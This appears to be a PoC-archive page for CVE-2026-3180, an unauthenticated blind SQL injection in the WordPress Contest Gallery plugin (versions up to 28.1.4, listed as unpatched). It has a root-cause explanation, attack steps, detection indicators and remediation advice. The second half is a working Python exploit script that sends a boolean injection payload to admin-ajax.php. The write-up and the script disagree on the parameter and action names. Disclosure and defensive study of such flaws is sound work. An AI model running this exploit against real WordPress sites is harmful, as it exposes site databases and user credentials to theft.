PoC Archive PoC Archive
High CVE-2026-3180 unpatched

WordPress Contest Gallery Plugin Unauthenticated Blind SQL Injection — CVE-2026-3180

by cardosource · 2026-07-05

Severity
High
CVE
CVE-2026-3180
Category
web
Affected product
WordPress "Contest Gallery" plugin
Affected versions
<= 28.1.4
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researchercardosource
CVE / AdvisoryCVE-2026-3180
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, sqli, blind-sqli, plugin, admin-ajax, unauthenticated, php, boolean-based
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress “Contest Gallery” plugin
Versions Affected<= 28.1.4
Language / PlatformPython 3 (PoC), PHP/WordPress (target)
Authentication RequiredNo
Network Access RequiredYes

Summary

The Contest Gallery WordPress plugin passes the cgl_maili parameter through WordPress’s sanitize_email() function, which preserves the single-quote character (') in the local part of an email address. Because the sanitized value is subsequently used to build a $wpdb->get_row() query without going through $wpdb->prepare(), an attacker can smuggle a single quote past sanitization and into the SQL query, enabling unauthenticated boolean-based blind SQL injection via the plugin’s AJAX endpoint (admin-ajax.php, cgl_mail action).


Vulnerability Details

Root Cause

sanitize_email() does not strip the single-quote character from the local part of an email-formatted parameter (cgl_maili), and the resulting value reaches $wpdb->get_row() without parameterization via $wpdb->prepare(), allowing SQL syntax to be injected.

Attack Vector

  1. Attacker obtains a valid WordPress nonce from a public page served by the Contest Gallery plugin.
  2. Attacker sends a crafted request to /wp-admin/admin-ajax.php with the cgl_mail action, setting the cgl_maili parameter to an email-like string containing a single quote and boolean SQL injection payload.
  3. sanitize_email() passes the quote through unmodified, and the value reaches $wpdb->get_row() unparameterized.
  4. The attacker uses boolean-based blind injection techniques (true/false response differences) to extract data from the WordPress database without authentication.

Impact

Unauthenticated blind SQL injection against the WordPress database backing any site running the vulnerable Contest Gallery plugin version, potentially exposing all database contents (user credentials, site configuration, etc.).


Environment / Lab Setup

Target:   WordPress with Contest Gallery plugin <= 28.1.4 installed and active
Attacker: Python 3 with an HTTP client library (requests)

Proof of Concept

PoC Script

See cve-2026-3180.py in this folder.

1
python3 cve-2026-3180.py --url https://target-site.example --nonce <nonce>

The script obtains/accepts a valid nonce, then sends crafted cgl_maili values containing boolean SQL injection payloads to /wp-admin/admin-ajax.php (cgl_mail action), inferring true/false conditions from response differences to demonstrate blind SQL injection.


Detection & Indicators of Compromise

Signs of compromise:

  • admin-ajax.php access logs with cgl_mail action requests containing ', AND, OR, SLEEP(), or similar SQLi indicators
  • Abnormal response-time patterns on the cgl_mail endpoint consistent with time-based blind SQLi probing
  • Database query logs showing malformed WHERE clauses originating from the plugin’s mail-lookup query

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; upgrade Contest Gallery once a fixed version is released
Interim mitigationUse a WAF rule to block SQL metacharacters in the cgl_maili parameter; disable or restrict the Contest Gallery plugin until patched

References


Notes

Mirrored from https://github.com/cardosource/cve-2026-3180 on 2026-07-05.

cve-2026-3180.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# Exploit Title: WordPress Contest Gallery 28.1.4 - Unauthenticated Blind SQL Injection
# Tested on: Docker - PHP 8.2/Apache + MariaDB (WordPress Environment)
# CVE: 2026-3180


"""
Description

A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection.
Authentication Required: No

"""


import requests
from requests import Response

NONCE: str = " "
URL: str = "http://localhost:8080/wp-admin/admin-ajax.php"
endpoint: str = "/wp-admin/admin-ajax.php"
url: str = "http://localhost:8080/"
payload: str = "'OR/**/1=1#@test.com' and 'OR/**/1=2#@test.com"

def send_payload(mail: str) -> Response:
    data: dict = {
        "action": "post_cg1l_resend_unconfirmed_mail_frontend",
        "cgl_mail": mail,
        "cgl_page_id": "1",
        "cgl_activation_key": "",
        "cg_nonce": NONCE,
    }
    return requests.post(URL, data=data)

r_true: Response = send_payload("aaaaaaa'OR/**/1=1#@test.com")
status_code: int = 0

if r_true.status_code == 200:
    status_code = r_true.status_code
        

banner: str = f"""
CVE : 2026-3180 | Contest Gallery 28.1.4 : Boolean SQLi

payload :........................{payload}
end point :........................{endpoint}
url :..............................{url}
status :...........................{status_code}
nonce :............................{NONCE}
"""

print(banner)
print(f"Body length: {len(r_true.text)} chars")